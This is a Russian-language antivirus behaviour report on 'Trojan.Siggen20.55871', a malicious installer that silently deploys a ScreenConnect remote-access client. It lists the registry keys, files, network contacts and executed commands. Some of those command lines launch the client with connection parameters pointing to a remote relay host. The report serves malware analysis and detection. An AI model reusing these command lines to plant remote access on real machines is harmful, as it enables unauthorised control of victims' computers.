Trojan.Siggen20.55871

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Classes\sc-7161dfd2536cee33\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (7161dfd2536cee33)\ScreenConnect.WindowsClient.exe" "%1"'

Изменения в файловой системе

Создает следующие файлы

%TEMP%\setup.msi
%ALLUSERSPROFILE%\screenconnect client (7161dfd2536cee33)\d2qiucvv.newcfg
%TEMP%\mz_etilqs_brfwhq5gcvxv8fe
%ALLUSERSPROFILE%\screenconnect client (7161dfd2536cee33)\puanxlho.newcfg
%TEMP%\mz_etilqs_dbdzuym3coelhyy
%WINDIR%\installer\{06236f43-820c-490c-a438-bee1152fd5f5}\defaulticon
%ProgramFiles(x86)%\screenconnect client (7161dfd2536cee33)\app.config
%ProgramFiles(x86)%\screenconnect client (7161dfd2536cee33)\client.resources
%ProgramFiles(x86)%\screenconnect client (7161dfd2536cee33)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (7161dfd2536cee33)\client.override.resources
%ProgramFiles(x86)%\screenconnect client (7161dfd2536cee33)\client.override.en-us.resources
%ProgramFiles(x86)%\screenconnect client (7161dfd2536cee33)\screenconnect.clientservice.exe
%ALLUSERSPROFILE%\screenconnect client (7161dfd2536cee33)\nafuzdq4.newcfg
%ProgramFiles(x86)%\screenconnect client (7161dfd2536cee33)\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\screenconnect client (7161dfd2536cee33)\screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (7161dfd2536cee33)\screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (7161dfd2536cee33)\screenconnect.clientservice.dll
%ProgramFiles(x86)%\screenconnect client (7161dfd2536cee33)\screenconnect.client.dll
%TEMP%\msi69aa.tmp-\customaction.config
%TEMP%\msi69aa.tmp-\screenconnect.core.dll
%TEMP%\msi69aa.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msi69aa.tmp-\screenconnect.installeractions.dll
%TEMP%\msi69aa.tmp
%TEMP%\mz_etilqs_ozuhrvpzhqik0b9
%TEMP%\mz_etilqs_u3vdk3jvgd44ohh
%ProgramFiles(x86)%\screenconnect client (7161dfd2536cee33)\screenconnect.windowsclient.exe
%ALLUSERSPROFILE%\screenconnect client (7161dfd2536cee33)\i5wi0qe5.newcfg

Удаляет следующие файлы

%TEMP%\msi69aa.tmp-\customaction.config
%TEMP%\msi69aa.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msi69aa.tmp-\screenconnect.core.dll
%TEMP%\msi69aa.tmp-\screenconnect.installeractions.dll
%TEMP%\msi69aa.tmp

Перемещает следующие файлы

%ALLUSERSPROFILE%\screenconnect client (7161dfd2536cee33)\puanxlho.newcfg в %ALLUSERSPROFILE%\screenconnect client (7161dfd2536cee33)\user.config
%ALLUSERSPROFILE%\screenconnect client (7161dfd2536cee33)\d2qiucvv.newcfg в %ALLUSERSPROFILE%\screenconnect client (7161dfd2536cee33)\user.config
%ALLUSERSPROFILE%\screenconnect client (7161dfd2536cee33)\nafuzdq4.newcfg в %ALLUSERSPROFILE%\screenconnect client (7161dfd2536cee33)\user.config
%ALLUSERSPROFILE%\screenconnect client (7161dfd2536cee33)\i5wi0qe5.newcfg в %ALLUSERSPROFILE%\screenconnect client (7161dfd2536cee33)\user.config

Сетевая активность

Подключается к

're####.cloudcity.net.au':443

UDP

DNS ASK re####.cloudcity.net.au
DNS ASK fe########alog-cdn.prod.mozaws.net

Другое

Создает и запускает на исполнение

'%ProgramFiles(x86)%\screenconnect client (7161dfd2536cee33)\screenconnect.windowsclient.exe' "Rerun" "?e=Access&y=Host&h=remote.cloudcity.net.au&p=443&s=ca9e86e6-7144-41ca-bed8-888ae7aa1a39&k=BgIAAACkAABSU0ExAAgAAAEAAQBFouyPOjJsR91OvcdPBUOxHoCv3Wup%2fEutaB1f%2b%2bKcq1OOvWGHxLOBt1B%2f%2...
'%ProgramFiles(x86)%\screenconnect client (7161dfd2536cee33)\screenconnect.windowsclient.exe' "?e=Access&y=Host&h=remote.cloudcity.net.au&p=443&s=ca9e86e6-7144-41ca-bed8-888ae7aa1a39&k=BgIAAACkAABSU0ExAAgAAAEAAQBFouyPOjJsR91OvcdPBUOxHoCv3Wup%2fEutaB1f%2b%2bKcq1OOvWGHxLOBt1B%2f%2fcf82VIn...

Запускает на исполнение

'%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\setup.msi"
'%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSI69AA.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_1010870 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments